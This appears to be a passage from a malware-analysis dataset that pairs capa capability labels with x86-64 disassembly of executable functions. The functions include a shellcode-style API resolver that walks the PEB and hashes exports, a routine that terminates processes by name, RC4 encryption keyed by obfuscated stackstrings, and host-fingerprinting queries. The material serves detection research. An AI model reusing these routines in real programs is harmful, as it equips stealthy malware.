joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4dce40
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4dd04b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x58], rax
add qword [rax + 0x58], rcx
mov rdx, qword [rax + 0x50]
test rdx, rdx
jle 0x4dcf64
cmp rdx, 0x40
ja 0x4dd03d
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rbx
lea rsi, [rdx - 0x40]
mov r8, rsi
neg rsi
sar r8, 0x3f
and r8, rdx
lea rdx, [rax + r8]
lea rdx, [rdx + 0x10]
cmp rcx, rsi
cmovl rsi, rcx
mov qword [rsp + 0x28], rsi
cmp rbx, rdx
je 0x4dced4
mov rax, rdx
mov rcx, rsi
call sym.runtime.memmove
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x70]
mov rdx, qword [rax + 0x50]
add rdx, rsi
mov qword [rax + 0x50], rdx
nop
cmp rdx, 0x40
jne 0x4dcf40
mov qword [rsp], rax
lea rcx, [rax + 0x10]
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], 0x40
mov qword [rsp + 0x18], 0x40
call sym.crypto_md5.block.abi0
xorps xmm15, xmm15
mov r14, qword [0x0064c938]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x50], 0
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x70]
nop dword [rax]
cmp rcx, rsi
jb 0x4dd035
sub rdi, rsi
mov rdx, rdi
neg rdx
sar rdx, 0x3f
and rdx, rsi
mov r8, rcx
sub r8, rsi
add rbx, rdx
jmp 0x4dcf67
mov r8, rcx
cmp r8, 0x40
jl 0x4dcfe5
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x40], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
and r8, 0xffffffffffffffc0
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x10], r8
mov qword [rsp + 0x18], rdi
call sym.crypto_md5.block.abi0
xorps xmm15, xmm15
mov r14, qword [0x0064c938]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
mov rdx, rax
sub rax, rcx
sar rax, 0x3f
mov r8, qword [rsp + 0x30]
and rax, r8
and rax, 0xffffffffffffffc0
mov rcx, qword [rsp + 0x40]
lea rbx, [rcx + rax]
sub r8, rdx
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
test r8, r8
je 0x4dd028
lea rdx, [rax + 0x10]
cmp r8, 0x40
mov esi, 0x40
cmovl rsi, r8
nop dword [rax + rax]
cmp rbx, rdx
je 0x4dd024
mov qword [rsp + 0x38], rsi
mov rax, rdx
mov rcx, rsi
call sym.runtime.memmove
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x38]
mov qword [rax + 0x50], rsi
mov rax, rcx
xor ebx, ebx
xor ecx, ecx
add rsp, 0x48
pop rbp
ret
mov rax, rsi
call sym.runtime.panicSliceB
mov rax, rdx
mov ecx, 0x40
call sym.runtime.panicSliceB
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
nop
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp sym.crypto_md5._digest_.Write
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
push rsi
mov rdx, qword [rdx + 0x20]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
push r9
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
xor r9, r9
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x1800017a0
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x290
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov rax, qword [0x18016f298]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov r12d, edx
mov r15, rcx
mov qword [rsp + 0x38], rcx
xor r14b, r14b
mov dword [rsp + 0x40], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
or rsi, 0xffffffffffffffff
cmp rax, rsi
je 0x18000199a
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x180001990
xor r13d, r13d
call fcn.180002650
mov rcx, rax
test rax, rax
je 0x180001985
mov rax, qword [rax]
call qword [rax + Ordinal_26]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x6c]
lea rax, [rsp + 0x6c]
test rax, 0xffffffffffff0000
jne 0x180001878
movzx edi, cx
mov ecx, edi
call fcn.1800021f0
test rax, rax
je 0x1800018a1
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.180001f30
jmp 0x18000189c
lea rcx, [rsp + 0x6c]
mov rax, rsi
inc rax
cmp word [rcx + rax*2], 0
jne 0x180001880
mov r8d, eax
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x20]
call fcn.180001df0
mov rbx, qword [rsp + 0x20]
movsxd rdi, dword [rbx - 0x10]
test edi, edi
js 0x18000197a
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edi
or eax, ecx
jge 0x1800018cf
mov edx, edi
lea rcx, [rsp + 0x20]
call fcn.180002040
mov rbx, qword [rsp + 0x20]
lea eax, [rdi + 1]
movsxd rdx, eax
mov rcx, rbx
call fcn.18010becc
cmp edi, dword [rbx - 0xc]
jg 0x18000196f
mov dword [rbx - 0x10], edi
mov word [rbx + rdi*2], r13w
mov rax, qword [r15]
mov rdx, rbx
sub rdx, rax
movzx ecx, word [rax]
cmp cx, word [rax + rdx]
jne 0x18000190e
add rax, 2
test cx, cx
jne 0x1800018f7
mov eax, r13d
jmp 0x180001913
sbb eax, eax
or eax, 1
test eax, eax
jne 0x18000193e
mov dword [rsp + 0x28], r13d
lea rdx, [rsp + 0x28]
mov ecx, dword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov eax, dword [rsp + 0x28]
cmp eax, 0x3e8
ja 0x18000193b
cmp eax, r12d
jne 0x18000193e
mov r14b, 1
lea rdx, [rbx - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x180001957
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
lea rdx, [rsp + 0x40]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x180001990
jmp 0x180001825
mov ecx, 0x80070057
call fcn.180002760
int3
mov ecx, 0x80070057
call fcn.180002760
nop
mov ecx, 0x80004005
call fcn.180002760
int3
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [r15]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], esi
sub esi, 1
jg 0x1800019b5
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
movzx eax, r14b
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.180107470
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1800022a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x1800022d3
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x18000231a
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x180002315
nop
cmp rbx, rcx
jae 0x18000231a
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x180002300
cmp rbx, rcx
jb 0x18000231e
xor eax, eax
jmp 0x18000232a
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1800054c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov ebx, edx
mov rdi, rcx
xor eax, eax
mov r9d, eax
mov r10d, eax
lea rsi, [0x1803e5280]
cmp r10d, ebx
jae 0x180005551
inc eax
and eax, 0x800000ff
jge 0x1800054fa
dec eax
or eax, 0xffffff00
inc eax
movsxd r8, eax
movzx r11d, byte [r8 + rsi]
add r9d, r11d
and r9d, 0x800000ff
jge 0x18000551b
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rdx, r9d
add rdx, rsi
movzx ecx, byte [rdx]
mov byte [r8 + rsi], cl
mov byte [rdx], r11b
movzx edx, byte [r8 + rsi]
mov r8d, r10d
add rdx, r11
movzx ecx, dl
movzx edx, byte [rcx + rsi]
movzx ecx, byte [r8 + rdi]
xor edx, ecx
mov byte [r8 + rdi], dl
inc r10d
jmp 0x1800054e3
mov al, 1
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
Function at 0x180006cb0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x18016f298]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rsi, rcx
mov dword [rsp + 0x20], 0x238
xor ebx, ebx
xor edx, edx
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180006d6b
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x180006d62
nop dword [rax + rax]
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call fcn.180115fd4
test eax, eax
jne 0x180006d4f
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x401
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x180006d10
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.180107470
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x180006e10
Capabilities:
Get disk information

Disassembly:
push rsi
sub rsp, 0x690
mov rax, qword [0x18016f298]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov rsi, rcx
call fcn.180002650
mov rcx, rax
test rax, rax
je 0x180006f96
mov rax, qword [rax]
mov qword [rsp + 0x6a8], rbx
mov qword [rsp + 0x6b0], rdi
call qword [rax + Ordinal_26]
lea rdx, [0x18014e468]
or rdi, 0xffffffffffffffff
add rax, 0x18
mov qword [rsp + 0x48], rax
test rdx, 0xffffffffffff0000
jne 0x180006e93
movzx ebx, dx
mov ecx, ebx
call fcn.1800021f0
test rax, rax
je 0x180006ead
mov r8d, ebx
lea rcx, [rsp + 0x48]
mov rdx, rax
call fcn.180001f30
jmp 0x180006ead
mov rax, rdi
inc rax
cmp word [rdx + rax*2], 0
jne 0x180006e96
mov r8d, eax
lea rcx, [rsp + 0x48]
call fcn.180001df0
xor edx, edx
lea rcx, [rsp + 0x470]
mov r8d, 0x20a
call fcn.18010a4e0
xor edx, edx
lea rcx, [rsp + 0x260]
mov r8d, 0x20a
call fcn.18010a4e0
movabs rax, 0x5c003a0043
lea rcx, [rsp + 0x58]
xor ebx, ebx
mov qword [rsp + 0x50], rax
xor edx, edx
mov dword [rsp + 0x44], ebx
mov r8d, 0x200
mov dword [rsp + 0x40], ebx
call fcn.18010a4e0
mov dword [rsp + 0x38], 0x105
lea rax, [rsp + 0x260]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x470]
lea rax, [rsp + 0x40]
mov word [rsp + 0x56], bx
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x50]
lea rax, [rsp + 0x44]
mov r9, rsi
mov r8d, 0x105
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov rdx, qword [rsp + 0x48]
mov ebx, eax
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
mov rdi, qword [rsp + 0x6b0]
jg 0x180006f73
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov eax, ebx
mov rbx, qword [rsp + 0x6a8]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.180107470
add rsp, 0x690
pop rsi
ret
mov ecx, 0x80004005
call fcn.180002760
int3
Function at 0x180006fb0
Capabilities:
Get system firmware table

Disassembly:
mov qword [rsp + 8], rbp
mov qword [rsp + 0x10], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rsi, r8
mov dword [rsp + 0x58], 0x52534d42
mov rbp, rdx
mov r14, rcx
mov ecx, dword [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov ecx, eax
mov edi, eax
call fcn.180115264
mov ecx, dword [rsp + 0x58]
mov r9d, edi
mov r8, rax
xor edx, edx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov r10d, dword [r15 + 4]
lea r8, [r15 + 8]
add r10, r8
lea r11, str.Null_String
movzx eax, byte [r8]
test al, al
je 0x180007083
cmp al, 2
jne 0x18000712e
movzx ecx, byte [r8 + 1]
movzx edx, byte [r8 + 7]
add rcx, r8
test dl, dl
je 0x18000705b
cmp byte [rcx], 0
je 0x18000705b
add dl, 0xff
je 0x18000705e
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x180007045
inc rcx
add rcx, rax
add dl, 0xff
jne 0x180007041
jmp 0x18000705e
mov rcx, r11
mov rdx, rsi
sub rdx, rcx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x180007070
jmp 0x18000712e
movzx ecx, byte [r8 + 1]
movzx r9d, byte [r8 + 4]
add rcx, r8
mov rdx, rcx
test r9b, r9b
je 0x1800070be
cmp byte [rcx], 0
je 0x1800070be
add r9b, 0xff
je 0x1800070c1
or rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x1800070a7
inc rdx
add rdx, rax
add r9b, 0xff
jne 0x1800070a3
jmp 0x1800070c1
mov rdx, r11
mov r9, r14
sub r9, rdx
nop word [rax + rax]
movzx eax, byte [rdx]
mov byte [r9 + rdx], al
inc rdx
test al, al
jne 0x1800070d0
movzx edx, byte [r8 + 5]
test dl, dl
je 0x18000710a
cmp byte [rcx], al
je 0x18000710a
add dl, 0xff
je 0x18000710d
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1800070f4
inc rcx
add rcx, rax
add dl, 0xff
jne 0x1800070f0
jmp 0x18000710d
mov rcx, r11
mov rdx, rbp
sub rdx, rcx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x180007120
movzx eax, byte [r8 + 1]
add rax, r8
mov r8, rax
lea rcx, [rax + 1]
movzx eax, byte [rax]
or al, byte [rcx]
je 0x18000715e
nop dword [rax]
nop dword [rax + rax]
mov r8, rcx
inc rcx
movzx eax, byte [r8]
or al, byte [rcx]
jne 0x180007150
add r8, 2
cmp r8, r10
jb 0x180007016
mov rcx, r15
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rdi
jmp fcn.180112a30
Function at 0x180007190
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push rbp
push rsi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x18016f298]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov r14, r8
mov dword [rbp - 0x39], reloc.WLDAP32.dll_Ordinal_32
mov rsi, rcx
mov dword [rbp - 0x49], reloc.WLDAP32.dll_Ordinal_32
call fcn.180002650
mov rcx, rax
test rax, rax
je 0x180007398
mov rax, qword [rax]
mov qword [rsp + 0xe8], rbx
mov qword [rsp + 0xf8], rdi
call qword [rax + Ordinal_26]
lea rdx, [0x18014e468]
or rbx, 0xffffffffffffffff
add rax, 0x18
mov qword [rbp - 0x21], rax
test rdx, 0xffffffffffff0000
jne 0x180007226
movzx edi, dx
mov ecx, edi
call fcn.1800021f0
test rax, rax
je 0x180007246
mov r8d, edi
lea rcx, [rbp - 0x21]
mov rdx, rax
call fcn.180001f30
jmp 0x180007246
mov rax, rbx
nop dword [rax]
inc rax
cmp word [rdx + rax*2], 0
jne 0x180007230
mov r8d, eax
lea rcx, [rbp - 0x21]
call fcn.180001df0
lea rax, [rbp - 0x29]
mov dword [rbp + 0x1d], 0x73776f64
mov r9d, 0x101
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x19], 0x6e69575c
lea rdx, [rbp + 7]
mov dword [rbp + 0x29], 0x56746e65
mov rcx, 0xffffffff80000002
mov word [rbp + 0x10], 0x694d
mov word [rbp + 0x21], 0x4e20
mov dword [rbp + 8], 0x5754464f
mov dword [rbp + 0x13], 0x6f736f72
mov byte [rbp + 7], 0x53
mov dword [rbp + 0x2d], 0x69737265
mov word [rbp + 0x31], 0x6e6f
mov dword [rbp + 0x24], 0x7275435c
mov dword [rbp + 0xc], 0x5c455241
mov byte [rbp + 0x12], 0x63
mov word [rbp + 0x17], 0x7466
mov byte [rbp + 0x33], 0
mov byte [rbp + 0x28], WSACleanup
mov byte [rbp + 0x23], 0x54
mov dword [rbp - 0x13], 0x644974
mov word [rbp - 0x16], 0x7564
mov word [rbp - 0x19], 0x7250
mov byte [rbp - 0x14], 0x63
mov byte [rbp - 0x17], reloc.WS2_32.dll_WSAGetLastError
mov word [rbp - 1], 0x44
mov dword [rbp - 6], 0x6e6f6974
mov byte [rbp - 2], 0x49
mov word [rbp - 9], 0x6445
mov byte [rbp - 7], 0x69
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rdi, qword [rsp + 0xf8]
test eax, eax
jne 0x18000735d
mov rcx, qword [rbp - 0x29]
lea rax, [rbp - 0x49]
mov qword [rsp + 0x28], rax
lea rdx, [rbp - 0x19]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rbp - 0x29]
lea rax, [rbp - 0x39]
mov qword [rsp + 0x28], rax
lea rdx, [rbp - 9]
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 0x21]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
mov rbx, qword [rsp + 0xe8]
jg 0x180007380
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.180107470
add rsp, 0xc0
pop r14
pop rsi
pop rbp
ret
mov ecx, 0x80004005
call fcn.180002760
int3
Function at 0x180007cb0
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x18016f298]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov r14, rcx
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0xc0
call fcn.18010a4e0
xor esi, esi
mov dword [rsp + 0x70], 0x6a09e667
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x74], 0xbb67ae85
mov dword [rsp + 0x78], 0x3c6ef372
mov dword [rsp + 0x7c], 0xa54ff53a
mov dword [rbp - 0x80], 0x510e527f
mov dword [rbp - 0x7c], 0x9b05688c
mov dword [rbp - 0x78], 0x1f83d9ab
mov dword [rbp - 0x74], 0x5be0cd19
call fcn.1800073b0
lea r8, [rbp - 0x70]
mov r9, rax
sub r8, rax
mov rdx, rax
nop word [rax + rax]
movzx ecx, byte [rdx]
mov byte [r8 + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x180007d50
lea rcx, [rbp - 0x70]
dec rcx
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180007d66
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r9 + rdx + 0x40]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180007d80
lea rcx, [rbp - 0x70]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180007da0
xor edx, edx
nop dword [rax]
movzx eax, byte [r9 + rdx + 0x60]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180007db0
lea rcx, [rbp - 0x70]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180007dd0
xor edx, edx
nop dword [rax]
movzx eax, byte [r9 + rdx + 0x80]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180007de0
lea rcx, [rbp - 0x70]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x180007e00
xor edx, edx
nop dword [rax]
movzx eax, byte [r9 + rdx + 0xa0]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180007e10
lea rax, [rbp - 0x70]
or rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], sil
jne 0x180007e30
lea rdi, [rbp - 0x70]
test rbx, rbx
je 0x180007eae
cmp rbx, 0x40
jb 0x180007e82
mov rsi, rbx
shr rsi, 6
imul rax, rsi, 0xffffffffffffffc0
add rbx, rax
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.18000af80
add qword [rsp + 0x20], 0x40
add rdi, 0x40
sub rsi, 1
jne 0x180007e60
mov rsi, qword [rsp + 0x28]
test rbx, rbx
je 0x180007eae
nop word [rax + rax]
movzx eax, byte [rdi]
lea rdi, [rdi + 1]
mov byte [rsp + rsi + 0x30], al
mov rsi, qword [rsp + 0x28]
inc rsi
mov qword [rsp + 0x28], rsi
sub rbx, 1
jne 0x180007e90
xor eax, eax
lea rcx, [rsp + 0x20]
mov qword [r14], rax
mov rdx, r14
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rax
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], rax
mov qword [r14 + 0x30], rax
mov qword [r14 + 0x38], rax
mov byte [r14 + 0x40], al
call fcn.18000ce60
xor eax, eax
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.180107470
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1800080e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0xf70]
mov eax, 0x1070
call fcn.1801082a0
sub rsp, rax
mov rax, qword [0x18016f298]
xor rax, rsp
mov qword [rbp + 0xf60], rax
mov rbx, r8
mov rdi, rcx
call fcn.1800a8a00
test eax, eax
jns 0x180008127
xor eax, eax
jmp 0x18000820a
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x1000
call fcn.18010a4e0
mov r8, rbx
lea rcx, [rsp + 0x60]
mov edx, 0x1000
call fcn.18011614c
lea rax, [rsp + 0x60]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x180008154
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x31], 0x32306633
mov dword [rsp + 0x4d], 0x613561
mov dword [rsp + 0x3f], 0x36326266
mov dword [rsp + 0x35], 0x33323031
mov word [rsp + 0x3c], 0x6361
mov word [rsp + 0x46], 0x3337
mov word [rsp + 0x43], 0x3034
mov dword [rsp + 0x49], 0x36363234
mov word [rsp + 0x39], 0x3239
mov byte [rsp + 0x30], 0x63
mov byte [rsp + 0x3b], gethostname
mov byte [rsp + 0x3e], 0x34
mov byte [rsp + 0x48], gethostname
mov byte [rsp + 0x45], 0x33
call fcn.1800053d0
mov edx, ebx
lea rcx, [rsp + 0x60]
call fcn.1800054c0
test al, al
je 0x180008120
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.18010a4e0
movsxd r9, ebx
lea r8, [rsp + 0x60]
mov edx, 0x1000
mov dword [rsp + 0x20], 7
mov rcx, rdi
call fcn.1800a8f60
mov eax, 1
mov rcx, qword [rbp + 0xf60]
xor rcx, rsp
call fcn.180107470
lea r11, [rsp + 0x1070]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x180008230
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x18016f298]
xor rax, rsp
mov qword [rbp - 8], rax
movsxd rbx, r9d
mov r14, r8
movsxd rsi, edx
mov rdi, rcx
call fcn.1800a8a00
test eax, eax
jns 0x180008268
xor eax, eax
jmp 0x1800082f9
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2f], 0x32306633
mov dword [rbp - 0x13], 0x613561
mov dword [rbp - 0x21], 0x36326266
mov dword [rbp - 0x2b], 0x33323031
mov word [rbp - 0x24], 0x6361
mov word [rbp - 0x1a], 0x3337
mov word [rbp - 0x1d], 0x3034
mov dword [rbp - 0x17], 0x36363234
mov word [rbp - 0x27], 0x3239
mov byte [rbp - 0x30], 0x63
mov byte [rbp - 0x25], gethostname
mov byte [rbp - 0x22], 0x34
mov byte [rbp - 0x18], gethostname
mov byte [rbp - 0x1b], 0x33
call fcn.1800053d0
mov edx, esi
mov rcx, rdi
call fcn.1800054c0
test al, al
je 0x180008261
mov r8, rbx
xor edx, edx
mov rcx, r14
call fcn.18010a4e0
mov r9, rsi
mov dword [rsp + 0x20], 7
mov r8, rdi
